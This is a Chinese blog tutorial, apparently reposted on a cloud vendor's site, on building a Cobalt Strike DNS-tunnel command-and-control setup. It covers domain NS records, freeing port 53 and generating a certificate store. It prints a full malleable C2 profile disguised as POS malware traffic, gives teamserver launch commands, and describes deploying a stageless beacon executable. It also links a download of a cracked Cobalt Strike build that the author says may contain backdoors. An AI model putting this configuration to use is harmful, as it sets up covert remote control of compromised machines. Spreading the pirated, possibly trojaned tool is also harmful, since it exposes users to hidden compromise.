CS中DNS隧道踩坑的示例分析

今天就跟大家聊聊有關CS中DNS隧道踩坑的示例分析，可能很多人都不太了解，為了讓大家更加了解，小編給大家總結了以下內容，希望大家根據這篇文章可以有所收獲。

前言

DNS隧道的復現一直失敗，看了無數的文章，被無數同人文荼毒之后，我CS終于成功上線了。

這里講一下復現過程中踩過的坑，希望能幫一些朋友們少走一些彎路，有些細節的地方我水平有限，也屬于猜想之類的，各位大佬們有理解的可以多分享、討論。

我的配置情況是：

某不知名小廠的ubuntu18云服務器+godaddy購買的域名+CS4.1。

以下內容按照DNS隧道上線的過程書寫。

坑點一：域名購買平臺的選擇

域名購買平臺的要求在于，能否自由定制NS記錄（不太理解這句話，可以直接跳轉到"坑點三：域名的配置"）。

比如，能否添加一條NS記錄，指定ns1.test.site指向www.test.site。

很多文章都是跟著粗暴地購買了godaddy。

但是在我復現的過程中，我曾經貪便宜買過一次很便宜的域名，買完發現不能自由配置NS記錄，錢白花了。

我買錯過一次之后，最后選擇的也是godaddy的域名，然后我朋友看了下國內的幾家大廠也是可以自由配置的。

坑點二：CS版本的選擇

感謝這位大佬的博客，寫得很好，涉及到了監聽器的配置踩坑與DNS流量抓包分析，并且提到了CS版本的問題：

https://xz.aliyun.com/t/7938#toc-8

經過這個大佬的測試，以及我本人的驗證，有些流傳的CS4.0破解版在做checkin操作的時候，teamserver服務端不會響應傳回啟動命令（黑框不會變藍上線）

所以我最后選擇使用的是CS4.1版本

我的4.1版本的CS是在網上一個大佬的博客找的，弟弟比較菜，我也不知道是否有后門之類的，這里放個網盤鏈接吧：

鏈接：https://pan.baidu.com/s/1c8aqkrfpEhajJ9o_KCByhA

提取碼：di9v

坑點三：域名的配置

域名設置如下：
一條A記錄指向CS的IP地址
vpn.test.site => CS的IP地址
幾條NS記錄指向剛剛A記錄對應的域名（也可以只寫一條）
ns1.test.site => vpn.test.site
ns2.test.site => vpn.test.site
ns3.test.site => vpn.test.site
這里有個小細節，域名解析的地方有個TTL值，據說這東西關系到解析域名要等多長時間，國內的很多廠商設置的最小值可以寫60，godaddy最小值為600，建議先把這個東西寫成平臺允許的最小值，等到檢驗OK了再調大，一般調成600~900即可

坑點四：53端口的占用

我的云服務器是ubuntu18，執行netsta命令的時候會看到一個服務占用了53端口，這個服務是systemd-resolved，是需要關閉的
關閉方法很簡單：
systemctl stop systemd-resolved
如果不關閉這個服務，設置DNS監聽器時很明顯是有error的，其實就是端口沖突了
很多同人文喜歡寫的nslookup得到0.0.0.0的響應信息，這時候nslookup是沒有響應的

有些朋友們會修改bindto的那個端口號，比如我圖片里看起來確實沒有error了，但其實不得行
去nslookup依舊是沒有響應的

現在關閉這個服務，然后nslookup，發現有響應了，響應為8.8.4.4，這個是跟profile里對應的，所以和同人文的0.0.0.0不一樣（后面"坑點五：profile的配置"里面會講）

這里我還做了測試，bindto的端口不論是置空還是指定，nslookup都是有響應的

我個人的猜想是CS的DNS服務與bindto的端口無關，與53端口有關
bindto的端口類似msf建立連接時指定用來處理事項的端口
53端口才是CS真正去做DNS的監聽和收發信息的關鍵點，因此不能被占用

坑點五：profile的配置

感謝兩位大佬的博客內容：
https://choge.top/2020/08/16/Cobaltstrike%E4%B9%8B%E6%B5%81%E9%87%8F%E9%9A%90%E8%97%8F/ （講得是CS流量隱藏，這里用到的是開頭的生成store文件的命令）
https://www.nctry.com/1655.html （我profile的內容就是從大佬這里撈過來改的）

store文件的生成

如圖所示，刪除服務器端原有的cobaltstrike.store
（這里我用的是finalshell，在ssh控制的同時，可以查看、修改、上傳、下載服務器里的文件，推薦一波，挺好用的，下載地址：http://www.hostbuf.com/）

利用keytool生成store文件
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=CC, OU=HW, O=IBM, L=AD, ST=AC, C=AV"
解釋一下：
keystore store文件的名字 profile里的keystore要和這里的keystore一致，我采用的是cobaltstrike.store這個名字
keypass 證書密碼 profile里的password要和這里設置的keypass一致，我下文profile是保持一致的，都用的123456
alias 別名 profile里的alias要和這里的alias一致，我下文的profile已經保持一致了，都用的baidu.com
dname 證書內容 profile里的https-certificate要和這里一致，我下文的profile已經保持一致了

storepass store文件的密碼 這個被我單獨拉出來說，因為這個不是和profile保持一致的，是和teamserver保持一致的，vim teamserver打開teamserver，把光標移動到文件尾部，可以看到如圖所示

teamserver默認的store文件密碼就是123456，我這里生成的時候就直接設置密碼為123456了
修改端口號的話可以起到隱藏CS特征的作用，不過客戶端連接服務器端的時候，別忘了把連接的端口號修改一下

profile文件的內容

以下內容保存并命名為命名為C2.profile，上傳到服務器端

這里面的dns_idle可以自己配置的，我這里設置的是8.8.4.4也就是為什么我nslookup ns1.test.site的時候，響應的是8.8.4.4，而不是同人文里的0.0.0.0

set sample_name "tryblog POS Malware";
set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter    "10";    # throw in a 10% jitter
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
#設置證書，注意以下內容得和你之前生成的證書一樣
https-certificate {
    set CN       "CC";
    set O        "IBM";   
    set C        "AV";
    set L        "AD";
    set OU       "HW";  
    set ST       "AC";
    set validity "365";
}
#設置，修改成你的證書名稱和證書密碼
code-signer{
    set keystore "cobaltstrike.store";
    set password "123456";
    set alias "baidu.com";
}
#指定DNS beacon不用的時候指定到IP地址
set dns_idle "8.8.4.4";
#每個單獨DNS請求前強制睡眠時間
set dns_sleep "0";
#通過DNS上載數據時主機名的最大長度[0-255]
set maxdns    "235";
http-post {
    set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
    client {
        header "Accept" "text/plain";
        header "Accept-Language" "en-us";
        header "Accept-Encoding" "text/plain";
        header "Content-Type" "application/x-www-form-urltrytryd";
        id {
            netbios;
            parameter "id";
        }
        output {
            base64;
            prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
            print;
        }
    }
    server {
        output {
            print;
        }
    }
}
http-get {
    set uri "/updates";
    client {
        metadata {
            netbiosu;
            prepend "user=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "text/plain";
        output {
            base64;
            print;
        }
    }
}

通過profile啟動CS

通過profile啟動CS的命令：
./teamserver CS的IP地址 自己設置的密碼 ./C2.profile
當然，也可以后臺運行：
nohup ./teamserver CS的IP地址 自己設置的密碼 ./C2.profile &

坑點六：監聽器的設置

這一部分詳細的分析可以看看大佬的博客：https://xz.aliyun.com/t/7938#toc-8
簡單來講，很多同人文喜歡往監聽器里塞A記錄的域名
但是實際情況是CS4.0之后，上下兩個框框里要寫的都是NS記錄的域名，下面那個框框（stager）里面只需要隨便挑一個上面大框框里的NS記錄寫上就行

上線時刻

接下來就是有手就行的上線時刻。

生成一個exe馬，選擇stageless的那個，一個原因是這個的dns有x64版本，另一個主要原因是，這是個完整的馬，選另一個的話，被控機器和CS服務器之間要磨磨唧唧下載完stage數據，才會開始上線通信，這個過程太慢了。

虛擬機運行CS馬，這時CS上有個黑框，平時http通道的直接是藍色的。
只需要右鍵選擇進入beacon，然后輸入chekin，等一會兒，黑框就變藍了，之后就能正常交互了

輸入一個whoami測試一下，等待CS和被控機器的“親切友好交流”結束，回顯成功

結尾

以上就是這段時間摸索DNS隧道時踩過的坑，希望對一些朋友有幫助。最后，里面有些東西我沒能理解，比如為啥不用profile啟動CS就沒有響應之類的，歡迎大家分享、討論。

以下是猜測：

CS借助profile啟動這一塊我有個想法，我把C2.profile里的8.8.4.4改成0.0.0.0就失敗無回應不能上線，改成23.234.234.234（隨手亂打的）就能成功，所以我懷疑，0.0.0.0這個對DNS上線產生的影響，猜測默認的CS這款工具的設置里就是0.0.0.0，所以導致一直出現各種問題，直到我偶然修改profile并使用，相當于把0.0.0.0給換掉了，然后就上線成功了。

看完上述內容，你們對CS中DNS隧道踩坑的示例分析有進一步的了解嗎？如果還想了解更多知識或者相關內容，請關注億速云行業資訊頻道，感謝大家的支持。